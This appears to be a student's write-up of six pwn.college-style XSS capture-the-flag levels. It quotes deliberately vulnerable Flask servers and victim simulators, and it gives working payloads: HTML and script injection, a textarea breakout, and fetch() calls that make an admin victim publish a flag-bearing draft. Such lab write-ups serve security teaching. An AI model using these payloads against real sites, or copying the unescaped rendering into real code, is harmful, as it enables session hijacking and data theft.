XSS 1
This challenge is a very first step in this direction. As before, you will have the /challenge/server web server. This challenge explores something called Stored XSS, which means that data that you store on the server (in this case, posts in a forum) will end up being shown to a victim user. Thus, we need a victim to view these posts! You will now have a /challenge/victim program that simulates a victim user visiting the web server.
Set up your attack and invoke /challenge/victim with the URL that will trigger the Stored XSS. In this level, all you have to do is inject a textbox. If our victim script sees three textboxes, we will give you the flag!
/Sever code
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
import flask
import os
app = flask.Flask(__name__)
import sqlite3
import tempfile
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT "First Post!" AS content""")
@app.route("/", methods=["POST"])
def challenge_post():
content = flask.request.form.get("content", "")
db.execute("INSERT INTO posts VALUES (?)", [content])
return flask.redirect(flask.request.path)
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, the anonymous posting service. Post away!\n"
page += "<form method=post>Post:<input type=text name=content><input type=submit value=Submit></form>\n"
for post in db.execute("SELECT content FROM posts").fetchall():
page += "<hr>" + post["content"] + "\n"
return page + "</body></html>"
app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
/Victim code:
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
import requests
import psutil
import sys
import re
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)
challenge_url = "http://challenge.localhost:80/"
flag = open("/flag").read().strip()
print(f"Visiting {challenge_url}...")
try:
num_inputs = len(re.findall(r"<input[^<]*>", requests.get(challenge_url, timeout=1).text))
if num_inputs <= 2:
print("You did not inject an <input> textbox...")
else:
print("You got it! Here is your flag:")
print(flag)
except requests.exceptions.ConnectionError:
print("Connection error... Is the service running?")
All we are required is to inject an <input> tag in the textbox
We can achieve this easiliy with curl even without openeing the browser:
hacker@module-3~xss-1:~$ curl -X POST http://challenge.localhost/ --data-urlencode 'content=<input>'
and thats it
XSS 2
In the previous level, you injected HTML. In this one, you must use the exact same Stored XSS vulnerability to execute some JavaScript in the victim's browser. Specifically, we want you to execute the JavaScript alert("PWNED") to pop up an alert that informs the victim that they've been pwned. The how of this level is the exact same as the previous one; only the what changes, and suddenly, you're cooking with gas!
<script>alert("PWNED!")</script>
that should work
XSS 3
Reflected XSS happens when URL parameter is rendered into a generated HTML page in way that, gain, allows the attacker to insert HTML/JavaScript/etc. To carry out sunch an attack, an attacker typically needs to trick the victim into visiting a very specifically-crafted URL with the right URL parameters. This is unlike a Stored XSS, where an attacker might be able to simply make a post in a vulnerable forum and wait for victims to stumble onto it.
Anyways, this level is a Reflected XSS vulnerability. The /challenge/victim of this challenge takes a URL argument on the commandline, and it will visit that URL. Fool the /challenge/victim into making a JavaScript alert("PWNED"), and you'll get the flag!
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
import flask
import os
app = flask.Flask(__name__)
@app.route("/", methods=["GET"])
def challenge_get():
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
{flask.request.args.get("msg", "(none)")}
<hr>
<form>
Craft a message:
<input type=text name=msg>
<input type=submit value="Make URL!">
</form>
</body></html>
"""
app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
Victim code
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
import psutil
import urllib
import atexit
import time
import sys
import os
from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException
os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)
open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)
if len(sys.argv) == 1:
print(f"Usage: {sys.argv[0]} URL")
sys.exit(1)
challenge_url = sys.argv[1]
url_parsed = urllib.parse.urlparse(challenge_url)
if url_parsed.hostname != "challenge.localhost":
print("Hostname should be 'challenge.localhost'.")
sys.exit(2)
if url_parsed.port not in {None, 80}:
print("Port should be 80.")
sys.exit(3)
print(f"Visiting {challenge_url}")
browser.get(challenge_url)
try:
WebDriverWait(browser, 1).until(EC.alert_is_present())
except TimeoutException:
print("Failure: JavaScript alert did not trigger...")
sys.exit(3)
else:
print("Alert triggered! Your reward:")
print(open("/flag").read().strip())
Solution:
hacker@module-3~xss-3:~$ /challenge/victim http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%21%22%29%3C%2Fscript%3E
Problem reading geckodriver versions: error sending request for url (https://raw.githubusercontent.com/SeleniumHQ/selenium/trunk/common/geckodriver/geckodriver-support.json). Using latest geckodriver version
Exception managing firefox: error sending request for url (https://github.com/mozilla/geckodriver/releases/latest)
Error sending stats to Plausible: error sending request for url (https://plausible.io/api/event)
Visiting http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%21%22%29%3C%2Fscript%3E
Alert triggered! Your reward:
XSS 4
Like with SQL injection and command injection, sometimes your XSS occurs in the middle of some non-optimal context. In SQL, you have dealt with injecting into the middle of quotes. In XSS, you often inject into, for example, a textarea, as in this challenge. Normally, text in a textarea is just, well, text that'll show up in a textbox on the page. Can you bust out of this context and alert("PWNED")?
As before, the /challenge/victim of this challenge takes a URL argument on the commandline, and it will visit that URL.
hacker@module-3~xss-4:~$ /challenge/victim http://challenge.localhost/?msg=%3C%2Ftextarea%3E%3E%3Cscript%3Ealert%28%22PWNED%21%22%29%3C%2Fscript%3E
Problem reading geckodriver versions: error sending request for url (https://raw.githubusercontent.com/SeleniumHQ/selenium/trunk/common/geckodriver/geckodriver-support.json). Using latest geckodriver version
Exception managing firefox: error sending request for url (https://github.com/mozilla/geckodriver/releases/latest)
Error sending stats to Plausible: error sending request for url (https://plausible.io/api/event)
Visiting http://challenge.localhost/?msg=%3C%2Ftextarea%3E%3E%3Cscript%3Ealert%28%22PWNED%21%22%29%3C%2Fscript%3E
Alert triggered! Your reward:
XSS 5
Actual XSS exploits try to achieve something more than alert("PWNED"). A very common goal is to use the ability to execute JavaScript inside a victim's browser to initiate new HTTP requests masquerading as the victim. This can be done in a number of ways, including using JavaScript's fetch() function.
This challenge implements a more complex application, and you will need to retrieve the flag out of the admin user's unpublished draft post. After XSS-injecting the admin, you must use the injection to make an HTTP request (as the admin user) to enable you to read the flag. Good luck!
Server code:
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
import flask
import os
app = flask.Flask(__name__)
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"
import sqlite3
import tempfile
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
@app.route("/login", methods=["POST"])
def challenge_login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
flask.session["username"] = username
return flask.redirect("/")
@app.route("/draft", methods=["POST"])
def challenge_draft():
if "username" not in flask.session:
flask.abort(403, "Log in first!")
content = flask.request.form.get("content", "")
# https://www.sqlite.org/lang_insert.html
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, flask.session.get("username"), bool(flask.request.form.get("publish"))),
)
return flask.redirect("/")
@app.route("/publish", methods=["GET"])
def challenge_publish():
if "username" not in flask.session:
flask.abort(403, "Log in first!")
# https://www.sqlite.org/lang_update.html
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/")
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<a href=publish>Publish your drafts!</a>
<hr>
"""
for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""
return page + "</body></html>"
app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
exploit:
<script>fetch('/publish')</script>
XSS 6
Once an attacker has code execution inside a victim's browser, they can do a lot of things. You've made a GET request in your previous attack, but typically, it's the POST requests that will change application state. This challenge ratchets up the realism: the /publish now needs a POST request. Luckily, fetch supports this!
Go figure out how to POST, and get the flag.
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
import flask
import os
app = flask.Flask(__name__)
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"
import sqlite3
import tempfile
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")
@app.route("/login", methods=["POST"])
def challenge_login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
flask.session["username"] = username
return flask.redirect("/")
@app.route("/draft", methods=["POST"])
def challenge_draft():
username = flask.session.get("username", None)
if not username:
flask.abort(403, "Log in first!")
content = flask.request.form.get("content", "")
# https://www.sqlite.org/lang_insert.html
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, username, bool(flask.request.form.get("publish"))),
)
return flask.redirect("/")
@app.route("/publish", methods=["POST"])
def challenge_publish():
username = flask.session.get("username", None)
if not username:
flask.abort(403, "Log in first!")
# https://www.sqlite.org/lang_update.html
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
return flask.redirect("/")
@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<form action=publish method=post><input type=submit value="Publish All Drafts"></form>
<hr>
"""
for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""
return page + "</body></html>"
app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
POC:
<script>fetch('/publish', {method: 'POST'})</script>
